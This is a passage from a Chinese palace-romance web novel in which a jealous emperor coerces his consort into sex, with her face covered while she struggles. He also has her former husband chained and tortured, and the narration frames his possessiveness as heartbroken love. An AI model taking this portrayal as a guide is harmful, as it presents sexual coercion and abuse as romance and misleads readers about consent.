他掀唇,勾出冷笑,“王嬷嬷已被朕赶出宫了,惠贵妃这般担忧,何不出宫寻她去!” 这话若搁往日,乔棠必怕心思被戳破,惶然不已,眼下境遇一变,她只会欢喜,王嬷嬷无事,且已出宫去了,她心头再无忧虑了。 “陛下不必冷言讽刺臣妾,臣妾被陛下禁在宫中,若无陛下命令,臣妾如何能出去?” 乔棠从裴承珏身侧站起来,旋身走了两步,闻得裴承珏狠声道,“站住!” 乔棠顿步。 裴承珏目光瞥向她的背影,原有些疑惑她的态度转变,分明适才还能与他温言几句,眼下竟骤然冷淡,不过转念一想,极快地想通了其中关窍。 她觉着自己手中没有牵制她的人了,没必要对自己逢迎献媚了,可真是愚蠢又无情啊! 呵,这就是让自己在群臣面前坦诚心意的人! 裴承珏面色不善道,“惠贵妃碰朕的东西了。” 乔棠不明所以,转身望过去,见书卷都整整齐齐地摆在那里,明白过来,原来他生气自己看了他的书,那日后不碰他的书就是了。 忽见裴承珏手指点了点书卷夹缝,她蓦地想起被自己烧毁的头发,不可思议地瞪大眸子,“那是臣妾的头发,如何算陛下的东西?” 裴承珏今日来,果然不是为年宴,而是来故意为难她,几根头发也要小题大做,看来她在宫里的日子是真要不好过了。 “惠贵妃好生单纯。” 裴承珏起身步过来,一掌钳住她的面颊,微一使力,见乔棠疼得顰眉,微微一笑。 “整个太极宫都是朕的,便是惠贵妃也是朕的,更莫论几根头发了,还给朕。” 乔棠眸色一变,挣扎开他的手掌,也不讲头发被自己烧了,抬袖勾出发间一缕青丝,一把扯掉数根,秀眉都不见皱一下。 这且不论,数根头发勒过指腹伤口,指腹又滚出血珠,她也恍若不知,将头发递给裴承珏,“还给陛下。” 发丝沾染血迹,裴承珏凉涔涔的目光闪过,移回乔棠面容上,“脏了。” 薄唇难挡刻薄之语,“惠贵妃眼下不只形容有碍,连头发都损了光彩,年宴又当如何出席?” “诚如陛下所言,臣妾这般模样出去,委实损了陛下的颜面,也委屈了陛下。” 乔棠不被他那些剜心话语所影响,稳稳地收回手,拿荷包将那发丝上的血迹擦净。 日光斜斜洒向房中,也只烘得周身暖融融的,消融不了她面上冷淡。 “不若陛下尽早择妃,身边姑娘多了,选择也多了,也就不必勉强自己带臣妾去了。” 她将剜心铁钉回馈给裴承珏,裴承珏被死死钉在原处,好半晌过去了,他仍纹丝不动,幽冷目光如刃,直直刮向乔棠。 乔棠并无惧意,收起擦干净的头发放入荷包中,纤姿巧态,秀美婉妍。 可惜面上再无半分笑颜,更不会再哄得裴承珏很快乐了,也不会任他索求无度了。 原来春日海棠也有含霜凝冰的一日。 裴承珏掀唇,冷冷一笑。 原来这就是她不爱自己的真实模样,不会委婉献媚,不会巧笑嫣然,只会黛眉冷漠,容色无情地吐出伤人的话,将他赶到别的姑娘身边。 裴承珏整副心腔如被凿穿,破了个口子,呼呼流着鲜血。 一股腥甜血味快速漫上喉头,转瞬被他强行压下,他静静地望着乔棠,脑中闪过以往她亲吻自己的嫣然模样。 她是真的不爱自己。 她也不会再骗自己了。 他突然迫切地希望见到她哄骗自己的笑容,而不是眼前这样含霜海棠似的冷脸。 哪怕是以前,她指着其他姑娘的画像,笑着柔声说,“妹妹也很可爱。”哄着他选妃。 也比现在强百倍。 第44章 裴承珏眸子赤红,“惠贵妃三番五次催促朕择妃,朕不做倒枉费了惠贵妃好意。” 先前那么哄他,不就想等他择了妃好离宫? 他冷冷勾唇,面上浮出一抹讥诮的笑,“那就由惠贵妃来做此事,惠贵妃可要为朕好好挑选合适的姑娘。” 森冷眸子直视近在咫尺的冷颜,不放过乔棠面上一丝变化。 大抵还是不死心,指望着乔棠能有一瞬的变化,不要再给他这样的冷脸看了。 哪怕为了离宫,也哄一哄他吧。 寂然中,时间一点点流逝。 裴承珏的心口慢慢冷了下去,他看着乔棠无动于衷的冷颜,听她低眉道,“既是陛下安排,臣妾自当领命。” 裴承珏猝地别过视线,再也不要看这冷脸了,如今他是连哄骗的笑容也得不到了。 凭什么! 一个骗子,凭什么不爱他! 他愤怒地一臂揽过乔棠,抱起她往床榻上去,“在朕没有其他选择前,也只能勉强选择惠贵妃了。” 他欺身而上,望进一双淡漠眸子,心脏霍霍地疼,抬袖一手扯碎了纱帐,将轻纱笼在了乔棠的面上,只余下一双唇瓣。 乔棠目不能视,触觉越发清晰,冰凉薄唇压下那一瞬,她感受到了裴承珏的怒气。 他在用这种方式朝自己撒气。 乔棠挣扎,趁机咬破了他的唇瓣,鲜血混在两人齿中,腥甜气息浮到鼻尖,乔棠又呼吸不便,一时脑子眩晕起来。 瞬时没了挣扎力度,被裴承珏轻而易举地摁在锦被中,很快身无一物。 裴承珏却衣冠整齐,居高临下地谴责,“惠贵妃于床帷之间太凶了。” “到时可得为朕挑个温柔些的。” 乔棠脑子迷糊着,听罢这话,身子不能挣扎,嘴上还是要占些便宜,讥笑地勾唇,即便被拢住半张脸,也能看出霜融冰消下,那抹笑美如舜华。 “陛下放心,臣妾必定给陛下寻个温柔可人的姑娘。” 裴承珏听不到这话了,他只怔怔地看着那抹笑,与先前哄他时何其相似。 这样多好。 他俯下身子,眸中尽是痴迷,薄唇炽热,再次吻上乔棠唇瓣。 哪怕唇瓣是冷淡的,毫无热情的,他的心腔也渐渐热起来了,只喜欢姐姐,只想要姐姐。 澎湃汹涌的愤恨已经落荒而逃,他在情焰烧上来时,撤开薄唇,隔着一层轻纱,轻轻地吻了吻乔棠那双冷淡的眸子。 这种充盈心间的如登极乐的快乐,只有乔棠能给他,他不知节制地索求着,恨不得化成一股浓血,融进乔棠身体里,再也不和乔棠分开。 可只有他快乐着,乔棠只是咬唇受着,动作间轻纱揉皱了,露出她一双毫无欲色的眸子,一下将裴承珏的快乐打散了。 裴承珏定住片刻,猛地将轻纱又盖了上去,只当适才那漠然不存在,在情潮释放后抽身而出。 手指勾走轻纱,随手一扔,他立在床边,视线落在乔棠身上。 乔棠无从遮掩,青丝凌乱,胸前起伏,慢慢地背过身,一眼也不瞧他了。 好像随手就扔了他,再也不要他了。 他咬咬牙,“惠贵妃。” 乔棠只道,“陛下可还有其他吩咐?” 裴承珏俯身,伸手想掰过她的肩膀,又恐转过来的面容那样冷,一下又收回手,静立片刻,转身离去了。 乔棠闻见脚步声消失,蜷紧的手指一松,面上露出一抹苦笑。 不管如何说,裴承珏愿意择妃了,她当初的目的不就这个,依着原定的计划离宫就是了。 只是,她伸手抚在腹部上,眸子闪过担忧,她无法避孕,这么多的次数,若是怀孕了就难办了。 裴承珏出了太极宫,日光照下来,一切都无从遁形,他那幽深眸子里汹涌的嫉恨一清二楚。 随行宫人不敢多窥,都暗道陛下再不是以前的陛下了,整张面容俱是冷威,声音透出森然,“叫静仪郡主去春熙殿。” “是。” 裴承珏挥开宫人,来至春熙殿,侍卫躬身开门,他慢步而入,扫了一眼要关闭的殿门。 侍卫会意,将殿门敞开,日光射向殿里,照出一片荒败,以及凌乱血迹。 魏清砚双臂被铁链吊着,残破衣袍血迹斑斑,露出的肌肤伤痕累累,有些伤口还在渗出血珠。 上身直直地跪着,唇角淤痕严重,一双眸子已紧闭几日,闻得脚步声,睫毛轻轻抖动,显出他尚存几分生机。 殿中阔大,但除却受刑的魏清砚,再无其他了,裴承珏踩过日光残影,却道,“表哥,你真不想看惠贵妃一眼?” 魏清砚身前空无一物,哪里有什么画像? 裴承珏步到他的身前,瞥了一眼门边的侍卫,那侍卫过来猛地一拉铁链。 魏清砚发出痛苦闷哼,拉直的双臂生出快被扯断的剧痛,双眸颤得厉害,但仍死死闭着,不敢扯出一丝缝隙。 裴承珏笑道,“表哥再不睁眼,这双眼就不行了。” “身子已丑得不能看了,这双眼再废了,还如何和惠贵妃一起回冀州去?” 魏清砚面容顿显痛苦之色,几度张口,奋力发声,才吐出暗哑声音,“陛下,臣与惠贵妃早已和离,有和离书证明。” “自惠贵妃进宫,与臣再无任何私情,那日文华殿所言和臣一起回冀州不过是戏言。” “还请陛下冷静,不要误伤惠贵妃。” 裴承珏一把扯起他的头发,叫他被迫扬起脖颈,露出一张淤痕严重的面容。 裴承珏瞧得很是仔细,就是这张脸,让姐姐爱了三年,现今心里还有他! 凭什么! 凭什么,那么爱魏清砚,却不肯爱他? 这句话无法在乔棠面前明说,更无法魏清砚面前吐出,只能在心里反复叫嚣,烧得那妒火更盛了 他在怒火中冷嗤,“没有私情?表哥说这话可要伤惠贵妃的心了。” 魏清砚眼皮一抖,唇角哆嗦,面部紧张得淤痕都皱在一起,艰难启唇。 “陛下,臣昔年伤了惠贵妃,惠贵妃决然与臣和离,是臣不死心,一厢情愿地纠缠。” “然惠贵妃她,性子实则狠韧,臣假死尚能博得她怜惜几分,一旦活过来,怜惜不再,惠贵妃绝无回头可能。” “惠贵妃心中便是有臣,也只是故交情分,与情爱再无关了。” 太多话语消耗了仅存的力气,疼痛又难以忍受,他声音渐弱,脑子糊涂。 眼前似乎亮起来了,他似乎看见了乔棠的笑颜,眼泪滑过面上淤痕,“陛下若不信臣,臣愿以死证明。” “只求陛下冷静下来,不要误伤惠贵妃。”唇缝泄出凄凄一笑,“否则,恐怕陛下也要和臣一样酿成大错了。” 裴承珏身子一震,手上倏地一松,魏清砚头颅猛地沉下,再也无力抬起。 “陛下!” 殿门边传来静仪郡主惊惶声音,她顾不得行礼,踉踉跄跄地奔过来,扑跪在裴承珏脚下,“陛下息怒!” 她看着魏清砚的模样,凄骇得眼泪唰一下流了下来,扬颈恳求裴承珏,“太后娘娘已告知臣妹缘由,陛下不可愤怒行事。” 一贯怯柔的她从不大声言语,此刻扬声大叫道,“臣妹说此话不是为了魏清砚,而是为了陛下与惠姐姐!” 她想起在文华殿里温柔安抚的乔棠,即便太后与她讲清了乔棠与魏清砚的渊源,她也丝毫不怨乔棠欺瞒了她。 那么温柔的惠姐姐定是有不能言的苦衷,今见魏清砚这般,她才知惠姐姐的顾及,更知她这位堂兄多么喜欢惠姐姐。 眼角泪水淌过下巴,她哽咽道,“惠姐姐若是知晓魏清砚因她死,日后可怎么睡得着觉?” “求求陛下不要伤了惠姐姐的心。” 她见裴承珏无动于衷,垂下视线冷冷的,咬牙一把揪住裴承珏的衣袖,狠心道,“陛下若是杀了魏清砚,惠姐姐一辈子都不会原谅陛下的!” 裴承珏面色一沉,一把甩开她,她一下摔向魏清砚,沾了一脸血迹,口中溢出哭腔,“臣妹愿意嫁给魏清砚,婚后带魏清砚离京,此生再不踏进京中一步!” 裴承珏离开的脚步一顿,半晌传来他沉沉一声,“你又爱他什么?” 静仪郡主怔怔地流着泪,茫然地想着这个问题,然而裴承珏不等她回答就提步离开了。 太阳斜落,日光变得稀薄,寒意再来,裴承珏步步走向太极宫,却在临近宫门时顿步,无言地立了片刻,旋身走了。 太极宫里宫人很是忙碌,浑然使出了全身力气 装点宫殿。 乔棠坐在廊下,看宫人来回穿梭,好奇地询问宫人,“往年也是如此?” 宫人躬身答,“往年不及今年隆重。” 乔棠不解,“为何今年特殊?” 宫人道,“是陛下一个月前安排好了的,奴婢也不知缘由。” 乔棠也不再问,让宫人忙去了,待至夜幕低垂,宫中灯火煌煌,一片璀璨,霎是好看。 她领着宫人在宫中四处走了走,果见处处辉煌,比往常奢靡太多。 她思付着,裴承珏安排将宫殿装点成这样,大概有他的理由,她也没必要多探究,只当个看客好了。 乔棠观赏够了,宫人们侍奉她用晚膳,极其用心,多次劝她多用些。 她觉出宫人们是怕裴承珏再发火,也不好为难她们,遂比往日多吃了一些。 夜间,思起王嬷嬷,难以入眠。 王嬷嬷能离宫自是好的,只是过几日就到她的生辰了。 每年她的生辰一到,王嬷嬷都会煮碗长寿面给她,看来今年吃不到了。 她惋惜得想着,坐起身,正欲扯开纱帐,闻得脚步声传来,秀眉一顰,裴承珏怎么回来了? 纱帐被撩开了,裴承珏已换了寝衣,立在床边望过来,见她睡在外侧,并没有给他留地方,眉峰一拢,眸色不悦。 乔棠一看便知他要找茬了,也不欲说话,裴承珏只望着他,也是不语。 寂然片刻,乔棠拗不过去了,淡淡道,“陛下夜间来此,可是有吩咐?” 裴承珏语气生硬,“这是朕的寝宫。”目光扫过她,见她还不睡到里侧,补道,“朕的寝床。” 乔棠眸子微瞪,原来是要赶她走。 也是,是自己鸠占鹊巢了,且裴承珏将寝宫装点得这般辉煌,必定是要回来睡的,那就显得自己多余了。 她索性从里面摸出夜明珠,正欲下床,看了眼手里夜明珠,又随手扔回里面,可别拿了这个也惹住了裴承珏。 “那陛下且好生歇息,臣妾去别处睡。” 她语出突然,走得又快,裴承珏始料未及,待反应过来,她已消失在殿门边了。 裴承珏恼得紧绷下颌,转身去追,乔棠才命宫人带她去另外寝室,衣袖被裴承珏扯住,接着整个人都被裴承珏抱了起来。 宫人见状,垂首而退。 乔棠觉着裴承珏莫名其妙,被他摔回榻上时,也有些生气了,容色一冷,“陛下到底是做什么?” 又是冷脸! 裴承珏恨透了她的冷脸,袖中手掌紧握成拳,“惠贵妃倒好意思问,身为朕的后妃,侍寝不是理所当然的?” 乔棠不可置信,白日不已有了一次,这般频繁,她铁定要怀孕了,遂抿唇道,“臣妾身子不适,今夜不能侍寝。” 她本就瘦了,说身子不适也算是理由,裴承珏上床,扯落纱帐,“那就睡觉。” 一片昏色中,乔棠见他没有动作,往里侧缩着身子,与裴承珏隔得能再躺下一人。 裴承珏难以忍受怀中空空,锦被下的手慢慢伸向乔棠,手指试探地抚上乔棠的发。 乔棠察觉,不欲搭理他。 手指顺势摸到了她的耳垂,她索性侧过身背对着裴承珏,无声地拒绝了裴承珏。 裴承珏收回手,半晌后,在煎熬中失了理智,长臂捞起乔棠,将她死死摁在身下,冷冷的声音却含着不易察觉的委屈。 “你是朕的后妃,朕碰不得你?” 不爱他,就可以待他这么坏么? 乔棠看不见他泛红的眸子,但听着他的声音,不知怎地,也没挣扎。 大概是感觉到此刻的裴承珏没有那样怨恨她,她心里叹气,索性离宫前再顺他一回,遂不出声。 裴承珏听不到回答,越发气急败坏,甚至想象到她还是那种冷脸,心腔鼓动着酸疼,一瞬起身,挥开纱帐,下床去了。 乔棠怔然,侧身望见他离开的身影,也不知怎就又气到他了,索性不管了,径自去睡觉。 翌日,她以为裴承珏不会再来了,没成想裴承珏晚间领着三个宫人过来。 这三个宫人怀中抱着满满的画像,均是太后听到裴承珏愿意选妃后,大喜之下,抓紧时间选出来的合适姑娘。 太后还和裴承珏道,“原早该告诉陛下的,一直没说,就等陛下愿意选妃了再说,眼下陛下想通了,哀家也可以说了。” “先帝在世时,也曾提过陛下的婚事,先帝颇为中意柳太傅的孙女柳荷曦,正好陛下也喜欢姐姐,不妨定为皇后,其余后妃端看陛下喜欢哪个,多多选些,她们都会好好爱陛下的。” 最后一句,意有所指,裴承珏听罢冷笑,驳了太后一声,“母后爱过父皇么?” 太后被呛得没了言语,心道他与乔棠都到各自怨愤的份上了,怎还要维护乔棠,不悦地离开了。 裴承珏这才往太极宫来,命宫人将画像放在正殿的长案上,示意乔棠去看,“惠贵妃选吧。” 选就选,乔棠上前就打开第一副画像,见是柳荷曦,神色如常,问裴承珏道,“不知陛下有何要求?” 裴承珏一瞬想起了太后,太后向来对先帝没有情爱之心,先帝在时,她每隔几年都为先帝选妃,也是这般轻描淡写地询问先帝喜好。 他恨恨地伸出一只手,夺了乔棠手中画像,扔到了一边,声音冷然如冰,“朕只一个要求。” “不要姐姐。” 第45章 乔棠微惊,眉尖轻蹙,似有愁绪堆积,落入裴承珏眼中。 裴承珏控制不住地唇角一翘,以为戳破了她的冷淡,可算叫她露出了点在意。 他近前一步,刚想牵乔棠的手,乔棠就道,“柳姑娘是太后娘娘相中的人,陛下一口否决了,太后娘娘那边可同意?” 转瞬掐死了他心头欢悦,原来是在忧虑这个,他气得都快把牙咬碎了,乔棠还在等着他的答案。 他理所当然道,“惠贵妃为朕择妃,自当考虑朕的意见,母后中意柳荷曦,便叫柳荷曦去陪母后,与朕有何干系?” “惠贵妃还不快把比朕年龄大的姑娘都筛掉。” “臣妾明白了,那就都选妹妹了。” 乔棠低眉挑选画像,听不到裴承珏否认声音,在心里轻叹,果真男人喜好是会变的,先前喜欢姐姐,眼下又喜欢妹妹了。 “陛下认为顾姑娘如何?” 她拣出顾玉清的画像,也没给裴承珏瞧,毕竟两人都已见数次了。 裴承珏的目光也不在意那画像,紧紧锁着乔棠的面容,看她抬眸征询自己意见,薄唇抿得紧紧的,就是不说好不好。 “陛下?” 乔棠催促他,在他看来,如同催促他去抱其他姑娘,去亲其他姑娘。 他甚至觉着,哪怕自己现在当着乔棠的面亲吻其他姑娘,乔棠也会神色不变,更遑论心生嫉妒了。 他无法忍受地收回视线,心中又恼又恨。 恼乔棠不爱他,又恨自己做的什么烂事情,何苦叫姐姐替自己选妃,到头来备受煎熬的只是自己! 乔棠只见他面色几度变化,不知他心底都想了什么,得不来他的答案,擅自将顾玉清的画像放在选中那一块,又翻看其他画像。 翻到又一个合适的姑娘,抬眼去望裴承珏,但见裴承珏狠狠瞪了她一眼,拂袖而去了。 乔棠心头火起,裴承珏可真会给自己脸色看,自己辛苦替他选妃,还得受他的气。 索性她也不耗心思了,草草地将十来个妹妹画像放在一起,权当选过了,毕竟日后裴承珏还得看真人,这一道程序潦草些也无妨。 及至用膳,宫人一味劝乔棠多吃,乔棠多用了一些,听宫人道,“娘娘比之往日是瘦些,可要太医来请平安脉?” 乔棠一下想到了程英,遂颔首同意,召了程英过来。 程英来了后,细细替她把了脉,又端详她的容色,眸色闪过可惜。 春日时,她还觉惠贵妃极为看重自己 身子,懂得爱惜自己,不过几个月,竟也脑子糊涂了,眼睁睁让自己身子受损了几分。 “心伤损身,娘娘日后需得注意了。” 乔棠听罢了然,这阵子确然情绪波动大,也着实伤心了一阵,她思付着还是养好身子,命程英开了副方子,就叫程英退下了。 勤政殿这厢,裴承珏早已无心政务,在御桌前抱臂立着,徘徊数步,目光瞥向一侧,“程英可出太极宫了?” 这已是他第三次问了。 李公公熟练地回,“还未,奴才命人去太极宫门前守着了,待程太医一出来就带她来见陛下。” 他觑着裴承珏焦灼眉色,心里叹气,朝堂都说陛下变得冷然暴戾,变得混账许多。 以他来瞧,倒是变得别扭了,这般关心惠贵妃怎不像先前亲自去问,何苦在这等得焦心。 裴承珏已然等得不耐烦了,他自见乔棠瘦了,心底深处总存着担忧,奈何被愤恨掩盖了,不愿亲自张口提醒乔棠看太医。 再者乔棠惯会注意自己身子,又何须他巴巴地去提醒? 但乔棠这阵子神伤,还真疏忽了这一点,他只好命宫人提醒。 眼见程英去了许久,还不过来,他不免心想,莫不是姐姐病得严重了? 他眉头狠皱,直想奔出殿门回太极宫瞧瞧乔棠,转念思及乔棠为他选妃时无动于衷的模样,又冷下心肠。 她不爱自己,自己怎能这般不要颜面,三番五次地凑上去? 裴承珏眉眼冰冷,慢步坐回御桌,翻开折子看了两眼,啪一声阖上,起身下了台阶。 及至殿门前,正见程英求见,这才稳住步子,神色淡淡地问道,“惠贵妃身子如何?” 程英道,“惠贵妃神伤一阵,身子亏损一些,臣已开了方子,每日补养即可。” 裴承珏面色一沉,他不愿去想姐姐为谁神伤了,如何也不会是为他,他已学老实了,少想一些叫自己愤怒的东西。 耳边忽闪过床榻间姐姐的哭声,心里一紧,急声道,“若是当下惠贵妃怀孕会如何?” 程英一惊,“以娘娘眼下身心境况,此刻怀孕,恐会胎儿不稳……” 未尽之语,裴承珏自也明白,他挥退程英,心头涌出丝丝懊悔,但转瞬被压了下去,是姐姐欺骗他在先,他愤怒是应该的,他不能对姐姐心软。 但去看看姐姐是可以的,裴承珏绷紧下颌,出了勤政殿,往太极宫去。 乔棠在睡前竭力喝了一碗补药,才放下药碗,耳侧伸来一只手,将蜜饯塞入她的口中,甜味很快盈于齿间,缓解了苦涩。 她舒服许多,知晓是裴承珏回来了,回头望去,但见裴承珏手里还拿着蜜饯,被她看到后,淡着脸色将蜜饯投回果盘里,不发一言,转身去了里间。 他也学会和乔棠一样冷脸了。 乔棠刚想动气,想起程英的嘱咐,火气眨眼消散,气大伤身,何必和自己身子过不去? 沐浴过后,乔棠换了寝衣,见寝床上纱帐已落,想必裴承珏已睡下了。 正好她顾及裴承珏折腾她,也不想同裴承珏一起睡了,命宫人带她去了正殿的一间寝室。 方睡下一会儿,意识沉着呢,感觉面颊被手指轻轻地抚弄,痒痒的,扰得她心烦,抬袖就拍掉了那手指,接着沉沉睡去。 裴承珏坐在床边,不满地望着她,思及她身子不适,到底忍着,半晌也没出声。 过了许久,本该起身离开的他还是忍不住,轻轻地将乔棠抱向里面,自己在外侧躺下了。 这床比不得寝殿的床大,裴承珏身高腿长,又怕碰着乔棠了,然后换来一张冷脸,只好蜷在一侧。 乔棠一夜未察觉身侧多了个人。 翌日醒来,她甚觉睡得不错,心道不妨以后就在此间睡下,遂命宫人将自己的东西搬来。 当夜又要宿在此间,恰逢裴承珏回来就寝,两人望向彼此,裴承珏也不言语,没什么表情地回了寝殿。 他这冷脸可比乔棠厉害多了。 乔棠也不在意了,反倒心里一松,看来裴承珏已然想通了,先前那股痴缠她的劲儿散干净了。 却不知,一到她入睡,裴承珏就会悄悄潜进来,与她隔开一掌的距离,蜷在她的身侧,静静地望着她。 如是过了几日,两人交流甚少,乔棠面颊添了些肉,宫人们与荣有焉,劝饭劝得更勤了。 裴承珏见了,在夜间偷偷摸了摸乔棠的面颊,见乔棠被惊,似要清醒,忙地缩回手,又有些恼怒,暗骂自己真无一丝颜面,像个贼一样鬼鬼祟祟。 可还是不舍得离开,老老实实蜷着,睡在乔棠身侧,心头又有些欢喜。 转眼到了年宴这日,一早勤政殿的李公公便来了太极宫,躬身对乔棠道,“陛下有言,晚间来接惠贵妃同去年宴,还请惠贵妃早做准备。” 乔棠见裴承珏执意要带她去,也没了反抗心思,去便去了,倒是无心准备什么,也不穿那贵妃服饰,只着普通宫装。 不想裴承珏来时,后头跟着针工局的一行宫人,宫人捧着数个盒子,齐齐望向乔棠。 裴承珏下令,“为惠贵妃换衣。” 乔棠愕然地被宫人簇拥着,换上了崭新华美的贵妃服,以及璀璨耀眼的头饰。 宫人们呆呆地望着她,只觉整个太极宫的煌煌灯烛,都不及她半分光彩。 乔棠无言,不知裴承珏将她妆扮成这样意欲何为,迈步出去时并无什么好脸色。 裴承珏瞧过来那一瞬,呼吸一促,便是乔棠的冷脸,他也觉着甚美,一时将什么都忘却了,疾步过去笑道,“姐姐。” 这一声出来,两人都惊了。 乔棠狐疑地看着他,只觉他又喝醉了,可千万别像上次那样当场发疯! 她心有余悸地退了一步。 裴承珏正骂自己好没骨气,又见她退步,不想理睬自己,当即面色一沉,想捡回点颜面,“惠贵妃退什么,若不是朕生辰宴向众卿说了些不着调的话,也用不到惠贵妃了。” 乔棠立时想起他生辰宴上的那番话,若是自己不同去,是真叫他颜面无存了,遂也不再抗拒,同他出了太极宫。 她许久未出去,乍然见宫外情形,有些恍惚,定了定心神,才重新迈步。 裴承珏见她落了自己一步,如何也不愿同自己并肩,回首抿唇道,“惠贵妃走快些。” 乔棠这才赶上,与他并肩而行。 裴承珏垂眸,瞥了眼她的手,摩挲着指腹,正欲伸手牵住她,她将手缩回了袖中。 裴承珏面色不虞,走得快了些。 乔棠又落后了,她这次不赶了,见一路行来,皆是灯火璀璨,华美无度,暗暗称奇,问询宫人,“宫中年年如此?” 宫人道,“回娘娘的话,并非年年如此,只今年格外隆重。” 原来和太极宫的装点一样,她了然地颔首,裴承珏见她与宫人说话,眉眼情态都温柔许多,心头塞得难受,提步走得更快。 直到到了太和殿,乔棠才与裴承珏立在一起,裴承珏一下捉住她的手,稳稳地牵起她,在宫人的唱声中进去了。 此时朝臣及家眷都已伏地而跪,满殿华彩中,乔棠目光一扫,扫到镇国公一桌那,瞧见魏清砚也在其中,怔然一瞬,原来他已被裴承珏放了。 忽地手上发疼,她侧目对上裴承珏冷冷的目光,看来裴承珏又疑神疑鬼了,低下眼眸,心里彻底松了口气,放了就好。 乔棠强硬地被裴承珏带着,同裴承珏坐在了最高处。 太后到时见了两人坐在一处,虽是不悦,但也没有先前那般在意了。 总归裴承珏愿意选妃了,惠贵妃年后也得离宫,她气定神闲地等着便是。 乔棠同她对视一眼,一瞬明了她的心思,草草点了下头,意思自己会离宫的,她安心便是。 太后笑得越发舒心了。 年宴规格极大,煌煌灯火下,乔棠扫过一片觥筹交错,忽与静仪郡主对上了视线。 静仪郡主坐在襄王府一桌,担忧地望过来,她不由朝静仪郡主柔柔一笑。 裴承珏侧目望见,一下握紧了手中酒杯,对宫人,对裴静仪,都这般温柔,唯独冷脸待他。 这一瞬,他的心脏倏地膨胀开,疼得快要撑破胸腔了,叫他 实在难以忍受,“惠贵妃!” 乔棠闻声望来,见他面色阴郁,唇边笑意骤然一敛,他嗤地一声,“想恭喜裴静仪,尽管召她上来。” 乔棠以为他在说什么胡说,顰眉听他补道,“惠贵妃还不知吧,年后裴静仪就要成亲了。” 乔棠心头猛跳,只觉不妙,果然裴承珏凑近,附耳低语,“和魏清砚,朕等下就要赐婚。” 乔棠霍地转头,脸颊碰到裴承珏薄唇,两人怔然,高座下已是一片哗然。 裴承珏目光睨向阶下。 众人一瞬低头噤声,霎时殿中静极,太后气道,“陛下!” 乔棠见众人误会了,转过头去。 裴承珏已多时未亲她了,这一下似点点火星,烧起了一片原野。 裴承珏竭力忍耐情热,听乔棠正色道,“陛下,这两人不合适,万不能误了静仪郡主。” “事到如今,惠贵妃还在阻止朕赐婚,恐怕在惠贵妃眼里,凡是其他人,都和魏清砚不合适。” 裴承珏满腔热切尽数褪去,没什么表情地看了一眼乔棠。 乔棠无言以对,魏清砚这根刺在裴承珏心里扎得太深了,不是自己一句话就能拔得出来的。 她默然下来,在心里告诉自己,自己已尽最大的力了,魏清砚没有因自己而死便是最好的结果了。 只是牵连到了静仪郡主,她听着裴承珏面朝群臣赐婚的声音,群臣的恭贺声,目光巡向下方。 但见魏清砚竟淡笑着接受了旁人的恭贺,镇国公夫妇也是满脸笑意,想来对儿子能活着已十分满足了。 乔棠再去看襄王那桌,襄王也在笑呵呵地接受恭贺,襄王世子眉眼轻佻地看着宴上姑娘,静仪郡主矜持地微微一笑。 人人都在欢喜,只有乔棠感到胸口闷得难受,她看向裴承珏,裴承珏一味饮酒,饶有兴致地望着下方,朝臣在他视线下迎合奉承着这桩婚事。 乔棠只觉他很陌生,慢慢道,“陛下,臣妾身子不适,可能提前离席?” 裴承珏饮尽杯中酒,貌似不甚在意地掀唇,“惠贵妃请便。” 乔棠起身,离了满殿的喧嚣,也不要宫人随行,孤身行了十来步,身后传来匆匆脚步声,“惠姐姐。” 乔棠回眸,看见静仪郡主红了眸子,“惠姐姐很久没出来了,还好么?” 乔棠听罢笑了,示意她近前,摸了摸她的脑袋,“我很好,倒是你,为了救魏清砚,把自己搭进去,值得么?” 两人谁也没有提乔棠与魏清砚的过往,静仪郡主笑着低语,“惠姐姐无须担心我,成亲只是权宜之计,我与魏编修商量好了,待我们成了亲,离京去冀州,到了冀州,我们就和离。” 乔棠惊道,“你要离开你的父兄?” 静仪郡主细眉笼上愁绪,“惠姐姐,我自幼在京中长大,京中太小了,我想出去看看。” 乔棠思付她的处境,据说裴泽进了军营仍是不老实,襄王爷只顾给他收拾烂摊子,也顾不上她这个女儿,她这是不愿待襄王府了。 静仪郡主笑道,“等我玩够了,我会回来的,再者有魏编修和我一起,惠姐姐且放心吧。” 乔棠这才安心,脑中忽有念头闪过,若是她也能跟着静仪郡主一起离京就好了。 这般想着,乔棠眸子亮了一下,她又与静仪郡主说了些话,才让静仪郡主回殿中去。 她自己慢慢走回太极宫,浑然不知,身后不远不近的距离,裴承珏也慢慢行着。 临近宫门,夜幕上忽地炸开绚丽烟火,流光溢彩,纷纷扬扬,声势浩大。 乔棠惊讶地扬颈去望。 烟火持续了很久,太和殿前看热闹的臣子纳闷,遂问身侧官员,“今年宫宴怎比往年盛势大了许多?” 礼部官员环顾左右,谨慎低语,“今日是惠贵妃生辰,陛下提前一月安排好了的。” 那臣子越发纳闷,“那陛下与惠贵妃怎都走了,也不让我等庆贺贵妃生辰?” 礼部官员摇头,“谁知道呢!” 太极宫门前,裴承珏倚着殿门,抱臂静静地望着天幕流泄的火花。 耳朵侧向门里,隔着殿门,自然听不到乔棠声音,他迟疑半晌,还是迈步进去了。 乔棠与宫人一起在廊下望了会儿天幕,一宫人捧来药碗,她不由失笑,接过一饮而尽。 今年的生辰,烟火很好看,只是王嬷嬷的长寿面换成了一碗汤药。 乔棠满嘴苦味,天幕又有一朵烟花绽放,条条火光流下,她看见裴承珏走过来了。 她凝眉思付一下,她已为裴承珏选了妃,裴承珏也不缠她了,这段缘分算是尽了。 眼下她被禁在宫中,若想离宫,不若先与裴承珏提一提,若是裴承珏能应下,不必等到年后再走了。 宫人们都退下了,裴承珏步到台阶下,望着乔棠,她穿着贵妃服饰,柔美不可方物。 裴承珏眸子闪动着痴迷,万般怨愤都似乎消散了,心头只闪过殿中适才那算不上亲吻的亲近,慢慢步上台阶。 乔棠暗暗呼了口气,后退两步屈膝跪地,以头磕地,“陛下,臣妾有言要讲。” 裴承珏神色陡然一变,已到嘴边的那句生辰快乐狼狈地噎了回去。 天幕轰然炸开的烟火声,遮不住乔棠扬高的请求声,“陛下,臣妾自幼在冀州长大,今已离乡一年多,心中实在思念家乡,臣妾恳请陛下放臣妾离宫,允臣妾回乡。” 裴承珏木然而立,袖中双手骤然成拳,指尖陷进掌心,凿出血珠,他浑然不觉,只知乔棠竟敢和他说要走。 为什么? 因为他给魏清砚和裴静仪赐婚? 因为他没在生辰这天把王嬷嬷还给她? 诸多念头闪过,到头来,他冷嗤一声,笑自己竟还能为她找理由,多么简单,她不爱自己而已。 掌心鲜血滴落,啪嗒一声落到砖面上,传到乔棠耳中,引起乔棠的惊惑与不安。 